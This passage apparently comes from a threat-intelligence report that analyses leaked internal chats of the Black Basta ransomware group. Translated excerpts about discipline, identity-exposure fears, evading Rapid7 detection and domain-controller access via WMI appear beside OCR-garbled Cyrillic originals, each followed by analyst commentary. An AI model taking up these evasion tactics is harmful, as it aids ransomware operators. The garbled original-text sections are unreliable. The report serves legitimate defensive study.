@w:matrixtcFJHPDbImt2rg.network, 1 ewe paHbLue
Aaxe npvwen

2023-12-20 08:48:30,
@w:matrixtcFJHPDbImt2rg.network, yacos B 7 no
cBoeMy, B 9 Mo TBEOMYy, Lac vyTka nepenvcan 6ota
eLe, B NaHen YyTka MOMeHsA

This conversation demonstrates time discipline and work reporting practices shared within the base. gg
promotes responsibility by criticizing morning tardiness while using humor in communication, revealing a soft
leadership style despite hierarchical relationships. Meanwhile, w reports already starting work and shares specific
tasks including bot fixes and panel changes, confirming routine technical operations progress at the base.
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Group Decision Making

Conversation on Identity Exposure Risks and Rebranding Following the Takedown of Other Organizations

Translated

2024-05-07 15:13:33,
@usernameyy:matrix.bestflowers247.online, 10 mil is
somehow weak for LockBit

2024-05-07 15:13:39,
@usernamegg:matrix.bestflowers247.online, no,
Google says he's from Voronezh

2024-05-07 15:14:12,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> 10 mil
is somehow weak for LockBit it's always bad ( doesn't
matter how much they announced for him, we need
to think about our own skins)

2024-05-07 15:14:28,
@usernameyy:matrix.bestflowers247.online, yeah
understood

2024-05-07 15:14:41,
@usernamegg:matrix.bestflowers247.online, it has a
place to be

2024-05-07 15:14:46,
@usernamegg:matrix.bestflowers247.online, they
even got to his photo somehow

2024-05-07 15:14:50,
@usernamegg:matrix.bestflowers247.online, found
out who he is

2024-05-07 15:15:04,
@usernameyy:matrix.bestflowers247.online, if it's
really him, then it turned out very weak

2024-05-07 15:15:09,
@usernameyy:matrix.bestflowers247.online,
rebranding or not

2024-05-07 15:16:40,
@usernamegg:matrix.bestflowers247.online, it's time
for us to move away from Basta too

2024-05-07 15:17:06,
@usernamegg:matrix.bestflowers247.online, can you
write so they don't understand it's the creator of
Basta

2024-05-07 15:17:22,
@usernameyy:matrix.bestflowers247.online, there will
always be traces)

2024-05-07 15:17:28,
@usernameyy:matrix.bestflowers247.online, only if
outsourcing
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Original Text

2024-05-07 15:13:33,
@usernameyy:matrix.bestflowers247.online, 10kk kak
TO TyX/10 ANs nokbuTa

2024-05-07 15:13:39,
@usernamegg:matrix.bestflowers247.online, HeT,
roorjie nueT 4YTo OH 13 BopoHexa

2024-05-07 15:14:12,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> 10kk
KaK TO TyxJ10 A5 Nok6MTa 3TO BCerga naoxo ( noxym
CKONbKO 3@ Hero o6bACBUAN NOAYMaTb HYXXHO HaM O
CBOMX LUKYypKax )

2024-05-07 15:14:28,
@usernameyy:matrix.bestflowers247.online, aa
MOHATHO

2024-05-07 15:14:41,
@usernamegg:matrix.bestflowers247.online, umeer
MecTo bbITb

2024-05-07 15:14:46,
@usernamegg:matrix.bestflowers247.online, kak 1o
4,0 ero GpoTo Aaxke JOTAHYANCH

2024-05-07 15:14:50,
@usernamegg:matrix.bestflowers247.online, y3Hann
KTO OH TaKom

2024-05-07 15:15:04,
@usernameyy:matrix.bestflowers247.online, ecan ato
peanbHO OH, TO MOAYYUIOCh OYEHb XNAKO
2024-05-07 15:15:09,
@usernameyy:matrix.bestflowers247.online,
pebpeHAMHT Uan HeT

2024-05-07 15:16:40,
@usernamegg:matrix.bestflowers247.online, Ham 6bl
TOXEe nopa yxoAuTb oT 6acTbl

2024-05-07 15:17:06,
@usernamegg:matrix.bestflowers247.online, Tbl
CMOXeLUb HanucaTb Tak YTo Bbl OHM He MOHAAN YTO
3TO co3aaTenb bacThbl

2024-05-07 15:17:22,
@usernameyy:matrix.bestflowers247.online, cneppbl
Bcerga obyayr)

2024-05-07 15:17:28,
@usernameyy:matrix.bestflowers247.online, Ha
ayTcopc ecav OTAaBaTb TOAbKO



2024-05-07 15:17:47,
@usernameyy:matrix.bestflowers247.online, well the
plus is | can handle the software myself, not the
website

2024-05-07 15:18:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> well
the plus is | can handle the software myself, not the
website yeah, so we need to start looking for
someone...

2024-05-07 15:18:41,
@usernamegg:matrix.bestflowers247.online, for you
to supervise

2024-05-07 15:19:00,
@usernamegg:matrix.bestflowers247.online, for next
season for sure

2024-05-07 15:19:07,

@usernamegg:matrix.bestflowers247.online, to run in

parallel with Basta

2024-05-07 15:17:47,
@usernameyy:matrix.bestflowers247.online, natocel
TO elle JafHO caM COPT CMOry, CanT HeT
2024-05-07 15:18:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> nstochbl
TO eLe 1IajHO caM COPT CMOry, CallT HeT ara , BOT
HaZo y>e npucmaTpuBaTbh HaM KOro TO...
2024-05-07 15:18:41,
@usernamegg:matrix.bestflowers247.online, uto 6bl
Tbl €ro KypupoBsan

2024-05-07 15:19:00,
@usernamegg:matrix.bestflowers247.online, Ha
6yAyLL NI CE30H YK TOUHO

2024-05-07 15:19:07,
@usernamegg:matrix.bestflowers247.online, B
napanenb cTaBuUTb HacTon

Following arrests and identity exposures of another group's (LockBit) members, Black Basta members

demonstrate heightened awareness of identity exposure risks and discuss countermeasures.

gg references situations where photos surfaced, stating "maybe we should distance ourselves from Basta soon,"

revealing psychological impacts of potential real-name identification on organizational activities and increased
risk awareness. Discussions acknowledge difficulties in eliminating traces while considering measures like

"outsourcing" and "securing supervisory personnel," indicating Black Basta realistically contemplates disguise

and restructuring strategies.
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gg's Judgment in Response to Threats

Translated

2024-05-23 12:28:02,
@usernamegg:matrix.bestflowers247.online, now the
network

2024-05-23 12:28:07,
@usernamegg:matrix.bestflowers247.online, fucked
everything up

2024-05-23 12:28:15,
@usernamegg:matrix.bestflowers247.online, they're
blocking credentials

2024-05-23 12:28:28,
@usernamegg:matrix.bestflowers247.online, all our
tools are being detected

2024-05-23 12:28:32,
@usernamegg:matrix.bestflowers247.online, all
movements are being detected

2024-05-23 12:28:40,
@usernamegg:matrix.bestflowers247.online,
everything needs to be rewritten in another language
to work

2024-05-23 12:28:53,
@usernamegg:matrix.bestflowers247.online, I'll leave
two people

2024-05-23 12:29:07,
@usernamegg:matrix.bestflowers247.online, you need
to sit down and rewrite everything in Python
2024-05-23 12:29:09,
@usernamegg:matrix.bestflowers247.online,
everything you did

2024-05-23 12:29:12,
@usernamegg:matrix.bestflowers247.online, for them
2024-05-23 12:29:17,
@usernamegg:matrix.bestflowers247.online, $$ is
asking

2024-05-23 12:29:24,
@usernamegg:matrix.bestflowers247.online, he says
there's no point in using all this

2024-05-23 12:29:32,
@usernamegg:matrix.bestflowers247.online, they just
kicked him out of a cool network

2024-05-23 12:29:32,
@usernameyy:matrix.bestflowers247.online, you can't
run Python on the network, only on Linux machines
2024-05-23 12:29:35,
@usernamegg:matrix.bestflowers247.online, Rapid7
2024-05-23 12:29:39,
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Original Text

2024-05-23 12:28:02,
@usernamegg:matrix.bestflowers247.online, ceiuac
ceTka

2024-05-23 12:28:07,
@usernamegg:matrix.bestflowers247.online, yebana
BCe

2024-05-23 12:28:15,
@usernamegg:matrix.bestflowers247.online, nouat
KpeAbl

2024-05-23 12:28:28,
@usernamegg:matrix.bestflowers247.online, Bce
WHCTPYMEHTbI MaanT Hawwm

2024-05-23 12:28:32,
@usernamegg:matrix.bestflowers247.online, Bce
ABWKEHWS ManuT

2024-05-23 12:28:40,
@usernamegg:matrix.bestflowers247.online, Bce
nepenucbiBaTb Haj0 Ha APYroM f3blke UTo Obl
paboTano

2024-05-23 12:28:53,
@usernamegg:matrix.bestflowers247.online, octaento
[BOVIX YenoBek

2024-05-23 12:29:07,
@usernamegg:matrix.bestflowers247.online, Tebe
HaZo cecTb BCe Ha MUTON nepenuncatb

2024-05-23 12:29:09,
@usernamegg:matrix.bestflowers247.online, Bce uto
Tbl Aenan

2024-05-23 12:29:12,
@usernamegg:matrix.bestflowers247.online, ans Hux
2024-05-23 12:29:17,
@usernamegg:matrix.bestflowers247.online,

$$ npocut

2024-05-23 12:29:24,
@usernamegg:matrix.bestflowers247.online, HeTy
CMbIC/1a TOBOPUT BCE 3TO +03aThb

2024-05-23 12:29:32,
@usernamegg:matrix.bestflowers247.online, ero
celtyac BbIMHYAN C CETKU KPYTOM

2024-05-23 12:29:32,
@usernameyy:matrix.bestflowers247.online, NnToH Ha
ceTke He 3arnyCTULLb Xe, ero TOJIbKO Ha JIMHYKC
MalUnHe

2024-05-23 12:29:35,
@usernamegg:matrix.bestflowers247.online, rapid7



@usernamegg:matrix.bestflowers247.online, it read 2024-05-23 12:29:39,
him completely @usernamegg:matrix.bestflowers247.online, ero
MONHOCTBIO CYnTana

Rapid7 serves as a threat detection and intrusion monitoring solution, suggesting high visibility of attacker
behaviors. After existing toolsets became inoperable, gg commands "rewrite everything in Python," ordering
complete reconstruction. These exchanges reveal rapid recovery efforts following attack neutralization by
unexpected defensive measures.

Conversation on Separating Attack Operations from Emotions

Translated Original Text

2024-04-19 10:37:52, @nickolas:talks.icu, and when 2024-04-19 10:37:52, @nickolas:talks.icu, a koraa
it's business relations, everything is always simpler LeNoBble OTHOLLIEHWS, TaM BCerga BCe NpoLLe, HeT
there, no emotions, you complete tasks - you're great, 3mouuni, caenan 3agaum - KpacaBUuK, He caenan
you don't complete them you can go fuck yourself ) naeLwb Haxyn )

2024-04-19 10:38:04, 2024-04-19 10:38:04,
@usernamegg:matrix.bestflowers247.online, > @usernamegg:matrix.bestflowers247.online, >

<@nickolas:talks.icu> it's just that here it seems like <@nickolas:talks.icu> npocto TyT Bpoge v apy>xba n
there's friendship and all that ))) there's no friendship = Bce Takoe ))) HeTy B 6u3se rae 6abku gpyx6Hbi

in business where money is involved 2024-04-19 10:38:22,

2024-04-19 10:38:22, @usernamegg:matrix.bestflowers247.online, s non
@usernamegg:matrix.bestflowers247.online, six roga Hasag ybpan yesna KOTOPOro B paHCOM MO3Basl
months ago | removed a guy | invited to ransom 2024-04-19 10:38:22, @nickolas:talks.icu, ¥YBbI 3)
2024-04-19 10:38:22, @nickolas:talks.icu, Alas ) 2024-04-19 10:38:27,

2024-04-19 10:38:27, @usernamegg:matrix.bestflowers247.online, oH 6bin ¢
@usernamegg:matrix.bestflowers247.online, he was nepBbIX 4HEW CO MHOM

with me from the first days 2024-04-19 10:38:43,

2024-04-19 10:38:43, @usernamegg:matrix.bestflowers247.online, Ho ero
@usernamegg:matrix.bestflowers247.online, but the KONNEKTMB CxaBas YTO y>Xe axyeBaTb Hayan
collective ate him up because he started getting 2024-04-19 10:39:01,

cocky @usernamegg:matrix.bestflowers247.online, Tak uto
2024-04-19 10:39:01, CYLLHOCTb MAN CYy4HOCTb NFOACKAA Hejanekmx

@usernamegg:matrix.bestflowers247.online, so the
essence or bitchiness of short-sighted people

This conversation reveals attitude gaps between personal relationships and organizational activities within
Black Basta. nickolas clearly states that operational outcomes supersede all else, with emotions being
unnecessary. Meanwhile, gg describes initially expecting "friendship-like" relationships but ultimately shares
removing a former member whose conduct negatively impacted the group, illustrating the reality of
prioritizing results over personal bonds.
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Conversation on Protecting Technical Information and Internal Restructuring

Translated

2024-05-04 08:14:25, @nickolas:talks.icu, For myself,
for the internal pentest team.

2024-05-04 08:14:31,
@usernamegg:matrix.bestflowers247.online, | can't
talk about what we learned and how we upgraded
our skills now

2024-05-04 08:14:44, @nickolas:talks.icu, | don't have
anyone else to do it for :-)

2024-05-04 08:14:54,
@usernamegg:matrix.bestflowers247.online,
intellectual property

2024-05-04 08:15:22,
@usernamegg:matrix.bestflowers247.online, they still
have a long way to go as | understand

2024-05-04 08:15:46, @nickolas:talks.icu, No, I'm
going to restructure this division )

Original Text

2024-05-04 08:14:25, @nickolas:talks.icu, Ans cebs,
AN BHYTPEHHEW KOMaHAbI MO NeHTECTY.
2024-05-04 08:14:31,
@usernamegg:matrix.bestflowers247.online, s He
MOTY pacckasbiBaTb cenyac yemy Mbl 06y4MANCh U
KaK npokavanu CBOen CKu

2024-05-04 08:14:44, @nickolas:talks.icu, MHe
6o/blle He A8 KOro :-)

2024-05-04 08:14:54,
@usernamegg:matrix.bestflowers247.online,
WHTeNNeKTyabHas CO6CTBEHHOCTb

2024-05-04 08:15:22,
@usernamegg:matrix.bestflowers247.online, y Hux
eLle JOArUIA NyTb Kak NMOHUMato

2024-05-04 08:15:46, @nickolas:talks.icu, He, 2
pecTpykTypupoBaTh byay 3To nogpaszeneHue )

This conversation demonstrates cautious attitudes toward sharing technical knowledge and intentions for

internal restructuring. gg describes acquired knowledge and skills as "intellectual property," clarifying policies

against sharing with others. This approach serves to prevent information leakage to external parties or other

departments, suggesting hierarchical information management within the organization.
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Teamwork Attitudes

Conversation Emphasizing the Importance of Time Management

Translated

2023-11-15 08:21:33,
@usernamehh:matrix.bestflowers247.online, good
morning, let's start

2023-11-15 08:31:53,
@usernamegg:matrix.bestflowers247.online, what
time did you guys stay until yesterday?

2023-11-15 08:32:07,
@usernamegg:matrix.bestflowers247.online, >
<@usernamehh:matrix.bestflowers247.online> good
morning, let's start it's 11:31 you're only starting now?
2023-11-15 08:32:12,
@usernamegg:matrix.bestflowers247.online, launched
on Europe

2023-11-15 08:32:27,
@usernamejj:matrix.bestflowers247.online, ++
2023-11-15 08:32:40,
@usernamegg:matrix.bestflowers247.online, two
questions remain

2023-11-15 08:33:30,
@usernamejj:matrix.bestflowers247.online, finished
around 12 something

2023-11-15 08:44:55,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> it's
11:31 you're only starting now? this is very late, you
all should be here from 10

Original Text

2023-11-15 08:21:33,
@usernamehh:matrix.bestflowers247.online, so6poe,
HayMHaeMm

2023-11-15 08:31:53,
@usernamegg:matrix.bestflowers247.online, Bbl
BUEpa A0 CKOJbKWU cnaenmn?

2023-11-15 08:32:07,
@usernamegg:matrix.bestflowers247.online, >
<@usernamehh:matrix.bestflowers247.online>
fobpoe, HaunHaem Bpems 11:31 Bbl TONBKO
HaunHaete?

2023-11-15 08:32:12,
@usernamegg:matrix.bestflowers247.online, 3anyctun
no e.pony

2023-11-15 08:32:27,
@usernamejj:matrix.bestflowers247.online, ++
2023-11-15 08:32:40,
@usernamegg:matrix.bestflowers247.online, aBa
BOMpOCa B cune

2023-11-15 08:33:30,
@usernamejj:matrix.bestflowers247.online, B 12 ¢
4eMm-TO 3aKOHYNAN

2023-11-15 08:44:55,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Bpems
11:31 Bbl TONbKO HauMHaeTe? 3TO OYEeHb NO3/HO , Bbl
8O/KHBI BbITh € 10 BCe TyT

This conversation demonstrates awareness of discipline regarding activity start times and progress management
within Black Basta. When hh suggests "let's begin," gg points out the time is 11:31 and states "everyone should
be present by 10:00." This indicates clear organizational start-time rules where lateness becomes subject to
guidance and correction.

Meanwhile, jj reports finishing "just after 12:00" from previous day's work, revealing that despite normalized long
working hours, strict attitudes toward next day start times persist. Overall, these exchanges show daily time
management receives priority to ensure organizational productivity and control.
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Conversation Depicting Conflict over Differing Perceptions of Role Allocation

Translated

2023-12-27 21:54:01,
@usernamegg:matrix.bestflowers247.online, this is
your job

2023-12-27 21:54:06,
@usernamegg:matrix.bestflowers247.online, you need
to understand how to search for files

2023-12-27 21:54:10,
@usernamegg:matrix.bestflowers247.online, | already
gave you the commands

2023-12-27 21:54:18,
@usernamegg:matrix.bestflowers247.online, which
file can't you find?

[omitted]

2023-12-27 22:00:17,
@usernamegg:matrix.bestflowers247.online, and send
me what you couldn't find

2023-12-27 22:00:20,
@usernamegg:matrix.bestflowers247.online, now
2023-12-27 22:00:31,
@usernamegg:matrix.bestflowers247.online, how can
you do that?

2023-12-27 22:00:47,
@usernamegg:matrix.bestflowers247.online, didn't do
the job and left ! what should | pay you for? ) this is
your job

[omitted]

2023-12-27 22:11:21,
@tinker:matrix.bestflowers247.online, you said it was
my job only today

2023-12-27 22:11:29,
@tinker:matrix.bestflowers247.online, you just
assigned a new duty on the spot

2023-12-27 22:11:44,
@usernamegg:matrix.bestflowers247.online, this is
always your job

Original Text

2023-12-27 21:54:.01,
@usernamegg:matrix.bestflowers247.online, 3to TBOSA
paboTa

2023-12-27 21:54:06,
@usernamegg:matrix.bestflowers247.online, Tbl
[OJIKEH MOHATb KaK UcKaTb danibl

2023-12-27 21:54:10,
@usernamegg:matrix.bestflowers247.online, s Tebe
Aan y>e KOMaHZbl

2023-12-27 21:54:18,
@usernamegg:matrix.bestflowers247.online, kako
dalin HanTK He MOXeLlb?

[omitted]

2023-12-27 22:00:17,
@usernamegg:matrix.bestflowers247.online, n ckuHb
MHe YTO Tbl HE Haluen

2023-12-27 22:00:20,
@usernamegg:matrix.bestflowers247.online, ceiuac
2023-12-27 22:00:31,
@usernamegg:matrix.bestflowers247.online, kak Tbl
Tam MOXelLlb?

2023-12-27 22:00:47,
@usernamegg:matrix.bestflowers247.online, He
caenan feno v ywen ! 3a yto Tebe naaTUTL? ) 3TO TBOSA
paboTta

[omitted]

2023-12-27 22:11:21,
@tinker:matrix.bestflowers247.online, Tbl ckazan uTo
370 MOsl paboTa TONbKO CeroHs

2023-12-27 22:11:29,
@tinker:matrix.bestflowers247.online, Tl npocTo
nponucan HoByr 06A3aHHOCTb CXOAY

2023-12-27 22:11:44,
@usernamegg:matrix.bestflowers247.online, 3to
BCerja T1Bos pabota

This conversation reveals surfacing conflicts over role division and responsibility boundaries. gg repeatedly
emphasizes "that's your job" and harshly criticizes leaving without following instructions. Meanwhile, tinker
counters with "first time hearing this today" and "suddenly added responsibilities," exposing task perception
discrepancies or limitations of management systems dependent on individual assignments and verbal
instructions.

These exchanges demonstrate organizational authority opacity, responsibility ambiguity, and resulting emotional
conflicts with work stagnation risks. Additionally, gg's forceful stance indicates expectations of member
subordination and pressure-oriented leadership tendencies.
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Conversation Highlighting an Organizational Culture of Always-on Responsiveness

Translated

2024-06-10 08:53:26,
@usernameyy:matrix.bestflowers247.online, * Good
morning) what's my work schedule?

2024-06-10 09:10:39,
@usernamegg:matrix.bestflowers247.online, same as
always

2024-06-10 09:10:43,
@usernamegg:matrix.bestflowers247.online, hello
2024-06-10 09:10:59,
@usernamegg:matrix.bestflowers247.online, should
be online from morning till evening

2024-06-10 09:11:06,
@usernamegg:matrix.bestflowers247.online, nothing
has changed

2024-06-10 09:11:17,
@usernamegg:matrix.bestflowers247.online, if you go
somewhere take the modem and laptop with you
[omitted]

2024-06-10 09:11:42,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> if you
go somewhere take the modem and laptop with you
that's with me, but can | be without network?
[omitted]

2024-06-10 09:12:36,
@usernamegg:matrix.bestflowers247.online,
everything's fine

Original Text

2024-06-10 08:53:26,
@usernameyy:matrix.bestflowers247.online, *
[lobpoe) Kakou pexum paboTbl y MeHs?
2024-06-10 09:10:39,
@usernamegg:matrix.bestflowers247.online, Tako xe
Kak Bcerga

2024-06-10 09:10:43,
@usernamegg:matrix.bestflowers247.online, npuset
2024-06-10 09:10:59,
@usernamegg:matrix.bestflowers247.online, c ytpa go
Beuepa A0/KeH ObITb B ceTH

2024-06-10 09:11:06,
@usernamegg:matrix.bestflowers247.online, Huuero
He M3MHWIOCh

2024-06-10 09:11:17,
@usernamegg:matrix.bestflowers247.online, ecau
KyZa To nowen 6epun MogeM 1 Byk ¢ cobol
[omitted]

2024-06-10 09:11:42,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> ecau
KyZa To nowen 6epu mogem 1 6yk c cobon 310 C
coboli, a be3 cetTr MOXHO?

[omitted]

2024-06-10 09:12:36,
@usernamegg:matrix.bestflowers247.online, Bce
HOpMaJIbHO

This conversation demonstrates enforced constant connectivity requirements within Black Basta. When yy

inquires about "work schedules," gg responds “stay connected online from morning to night," suggesting no

specific activity hours or shifts exist, with permanent online presence as the baseline expectation. Instructions to

"take modem and laptop when going out" further reveal a subordinate operational environment restricting

freedom of movement and even offline time.
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Challenges in Training Lower-Level Members

Conversation on the Tension between Technical Independence and Dependence in Junior Members

Translated

2023-10-31 10:07:01,
@usernamess:matrix.bestflowers247.online, about TT
2023-10-31 10:07:28,
@usernamess:matrix.bestflowers247.online, he
doesn't want to take responsibility because he's
simply afraid to do something that goes beyond his
program

2023-10-31 10:07:51,
@usernamess:matrix.bestflowers247.online, if |
suggest something to him and then everything falls
apart he'll just say that $$ told me and | did it
2023-10-31 10:08:26,
@usernamess:matrix.bestflowers247.online, now | told
him to connect to DC via wmi and ping other DCs or
servers, also can take sorted there

2023-10-31 10:11:37,
@usernamess:matrix.bestflowers247.online, what |
told him - these are elementary things, not something
new | invented or read. he SHOULD know this without
me or NN

2023-10-31 10:23:33,
@usernamegg:matrix.bestflowers247.online, did the
configured one arrive? came under influence?
2023-10-31 10:23:45,
@usernamegg:matrix.bestflowers247.online, NN is
very negative, it shouldn't be like this

2023-10-31 10:23:47,
@usernamess:matrix.bestflowers247.online, no
2023-10-31 10:23:48,
@usernamegg:matrix.bestflowers247.online, do, help
2023-10-31 10:23:52,
@usernamegg:matrix.bestflowers247.online, explain
2023-10-31 10:24:08,
@usernamess:matrix.bestflowers247.online, New, yes
2023-10-31 10:24:08,
@usernamess:matrix.bestflowers247.online, but why
the old stuff

2023-10-31 10:24:11,
@usernamegg:matrix.bestflowers247.online, | don't
want to hear this from you "he SHOULD know this
without me or NN

2023-10-31 10:24:47,
@usernamegg:matrix.bestflowers247.online, he was

Original Text

2023-10-31 10:07:01,
@usernamess:matrix.bestflowers247.online, no
nosoay TT

2023-10-31 10:07:28,
@usernamess:matrix.bestflowers247.online, oH He
xoueT 6paTtb Ha cebs OTBETCTBEHHOCTb MOTOMY YTO
Tyno 60MTCa YTO TO CAeNaTh UTO BbIBUBBLIAETCS U3 €ro
nporpamMmmbl

2023-10-31 10:07:51,
@usernamess:matrix.bestflowers247.online, ecau s
eMy MOACKaXxy YTO TO 1 MOTOM Y HEro BCe OTBaIUTCA
OH NPOCTO ckaxeT uTo BoT $$ MHe ckasan v s caenan
2023-10-31 10:08:26,
@usernamess:matrix.bestflowers247.online, wac s
emMy ckasan utob oH nogkntoumacs Ha AL, no wmi n
MUHraHya Apyrue AL Uan cepBepa, Tak e MOXHO
CHATb copTes, Tam

2023-10-31 10:11:37,
@usernamess:matrix.bestflowers247.online, To uTo A
eMy CKa3a/ - 3TO dNeHTapHble Belly, He YTO TO HOBOE
yTO A NpUayman uaun soblumtan. o JOJIKEH 370 3HaTth
6e3 meHs nam NN

2023-10-31 10:23:33,
@usernamegg:matrix.bestflowers247.online,
HaCTPOEHHbIN Npuexan? nog BAnsHWE nonan?
2023-10-31 10:23:45,
@usernamegg:matrix.bestflowers247.online, NN
OU€eHb HEraTMBUT , TaK HE JOJIXKHO ObITb

2023-10-31 10:23:47,
@usernamess:matrix.bestflowers247.online, HeT
2023-10-31 10:23:48,
@usernamegg:matrix.bestflowers247.online, genai,
nomMorat

2023-10-31 10:23:52,
@usernamegg:matrix.bestflowers247.online,
00OBbACHCAN

2023-10-31 10:24:08,
@usernamess:matrix.bestflowers247.online, Hoeoe,
aa

2023-10-31 10:24:08,
@usernamess:matrix.bestflowers247.online, a ctapoe
TO 3a4eMm
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stuck yesterday, | also don't know how to help | have
no experience with development, | don't work on it
but | desperately want to help.

2023-10-31 10:24:51,
@usernamess:matrix.bestflowers247.online, that's not
what I'm talking about

2023-10-31 10:25:03,
@usernamess:matrix.bestflowers247.online, but about
the fact that he can't make a decision without others
2023-10-31 10:25:23,
@usernamegg:matrix.bestflowers247.online, ah
people | raised tell me - "he SHOULD know this
without me or NN*

2023-10-31 10:25:47,
@usernamegg:matrix.bestflowers247.online, need to
help, always, then there will be results

2023-10-31 10:25:52,
@usernamegg:matrix.bestflowers247.online, if you
listen to NN you'll end badly

2023-10-31 10:25:56,
@usernamegg:matrix.bestflowers247.online, he's very
negative

2023-10-31 10:26:12,
@usernamess:matrix.bestflowers247.online, I'm
talking about the fact that he can't make a decision, |
didn't say | don't help him or anything

2023-10-31 10:26:16,
@usernamess:matrix.bestflowers247.online, | stated
my opinion

2023-10-31 10:26:19,
@usernamegg:matrix.bestflowers247.online, this is
teamwork and without these showoffs and so on
2023-10-31 10:26:21,
@usernamess:matrix.bestflowers247.online, | helped
with advice

2023-10-31 10:26:29,
@usernamess:matrix.bestflowers247.online, but | told
you it shouldn't be like this

2023-10-31 10:26:30,
@usernamegg:matrix.bestflowers247.online, he was
afraid to step into DC yesterday

2023-10-31 10:26:42,
@usernamegg:matrix.bestflowers247.online, | know
that hell will break loose and there will be a kickout
2023-10-31 10:26:46,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> he
was afraid to step into DC yesterday he was afraid to

2023-10-31 10:24:11,
@usernamegg:matrix.bestflowers247.online, s He
Xouy 370 caywath ot Tebsa "oH AOJIKEH 370 3HaTb
6e3 meHsa nam NN

2023-10-31 10:24:47,
@usernamegg:matrix.bestflowers247.online, oH B
Tynuke 6bin BUepa, A TOXE He 3Hat0 YeM NOMOYb Y
MEHS HeTy OMnbITa PacKpPyTKM , i He Kpy4y HO Nu3geL
Kak Xo4y MOMOYb.

2023-10-31 10:24:51,
@usernamess:matrix.bestflowers247.online, Tak s He K
TOMY rOBOpHO

2023-10-31 10:25:03,
@usernamess:matrix.bestflowers247.online, a npo To
YTO OH MPWHATb PeLleHne He MOXeT 6e3 apyrux
2023-10-31 10:25:23,
@usernamegg:matrix.bestflowers247.online, aa
N0ANX KOTOPbIX f B3pacTWUa MHE roBopAaT - "oH
AOJIKEH 310 3HaTh 6€3 MeHs nam NN

2023-10-31 10:25:47,
@usernamegg:matrix.bestflowers247.online, Hy>xHO
nomorartb, Bcerga, torga éyaet pesynbtat
2023-10-31 10:25:52,
@usernamegg:matrix.bestflowers247.online, 6yaewsb
cnywatb NN xyeBo 3aKOHUMLLb

2023-10-31 10:25:56,
@usernamegg:matrix.bestflowers247.online, oH
OYeHb HeraTUBHbIN

2023-10-31 10:26:12,
@usernamess:matrix.bestflowers247.online, s rosopto
O TOM YTO OH MPWHATb PELLEeHNe He MOXET, A He
CKa3an YTo f eMy He NMoMOoraro Uan 4To To
2023-10-31 10:26:16,
@usernamess:matrix.bestflowers247.online, s cBoe
MHeHWe cKasan

2023-10-31 10:26:19,
@usernamegg:matrix.bestflowers247.online, Tyt
KOMaHAHas paboTa n 6e3 BOT 3TUX BbIEOOHOB U T4,
2023-10-31 10:26:21,
@usernamess:matrix.bestflowers247.online, 1 nomor
COBETOM

2023-10-31 10:26:29,
@usernamess:matrix.bestflowers247.online, Ho Tebe
CKa3an YTo TaK He AOPJKHO ObITb

2023-10-31 10:26:30,
@usernamegg:matrix.bestflowers247.online, oH
6osncA BUepa warHyTb Ha [L,
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make a decision

2023-10-31 10:27:29,
@usernamegg:matrix.bestflowers247.onling, yes, he
sat waiting for you because maybe you'd give him
advice, | would have advised immediately and we
would have done it on the spot but | don't work on
this guys ( | can sit and work on it but then there
would be nothing to deploy )

2023-10-31 10:27:50,
@usernamess:matrix.bestflowers247.online, even now
he says, let me send you the data and you do it. he
should do this himself because he should be able to
do it. if he can't do this then it means I'm a shit
teacher

2023-10-31 10:28:19,
@usernamegg:matrix.bestflowers247.online, he
should do it himself yes

2023-10-31 10:28:22,
@usernamegg:matrix.bestflowers247.online, tell him
to do it himself

2023-10-31 10:28:30,
@usernamegg:matrix.bestflowers247.online, you
know what else they got used to?

2023-10-31 10:29:00,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> you
know what else they got used to? to help, that I'm
here and they can turn to me

2023-10-31 10:29:12,
@usernamegg:matrix.bestflowers247.online, when
you start helping, you get tired of watching stupidity
or simply have no time to explain to him you say "let
me do it myself" and you take the target into work,
helping

2023-10-31 10:29:15,
@usernamegg:matrix.bestflowers247.online, but he
should do it himself

2023-10-31 10:29:19,
@usernamegg:matrix.bestflowers247.online, himself
himself himself

2023-10-31 10:29:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernamess:matrix.bestflowers247.online> to
help, that I'm here and they can turn to me yes, you
don't help ) you just do their work for them )
2023-10-31 10:29:41,
@usernamegg:matrix.bestflowers247.online, this is
the real fucked up thing

2023-10-31 10:26:42,
@usernamegg:matrix.bestflowers247.online, s 3Hato
YTO TaM HauyHeTCs nNu3gew, n byaeT BbINWA
2023-10-31 10:26:46,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> oH
6oanca BYepa warHyTb Ha [iL|, oH 6osnca NpuHATbL
pelueHve

2023-10-31 10:27:29,
@usernamegg:matrix.bestflowers247.online, aa,
cuaen xxaan Teba Tak Kak MOXeT Tbl Jalllb eMy COBET,
s 6bl NOCOBETOBAA CPa3y W Mbl CAENANAN Ha MECTe HO
1 He Kpy4y pebsTa (4 Mory cecTb KpyTUTb HO TOrAa
CTaBUTb Hexyn byaer )

2023-10-31 10:27:50,
@usernamess:matrix.bestflowers247.online, Tak gaxe
LLLaC roBOPWT, YTO AaBali i Tebe CKUHY AaHHbIE Tbl
caenaellb. OH caM 3TO AOJIKEH AenaTbh NOTOMY YTO
[OJIKEH 3TO YMETb AieNaTh. eKC/IM OH 3TO He MOXET
cfienatb TO 3HAUUT U3 MEHSA YUUTENb TOBHO
2023-10-31 10:28:19,
@usernamegg:matrix.bestflowers247.online, oH cam
Aa

2023-10-31 10:28:22,
@usernamegg:matrix.bestflowers247.online, genat
cam roBopw

2023-10-31 10:28:30,
@usernamegg:matrix.bestflowers247.online, oHn
3Haellb K YeMy NpUBbIKAN eLe?

2023-10-31 10:29:00,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> oHn
3Haelb K YeMy NPVBbLIKAN eLLe? K MOMOLLY, YTO A TyT
N MOXHO obpaTnTCs

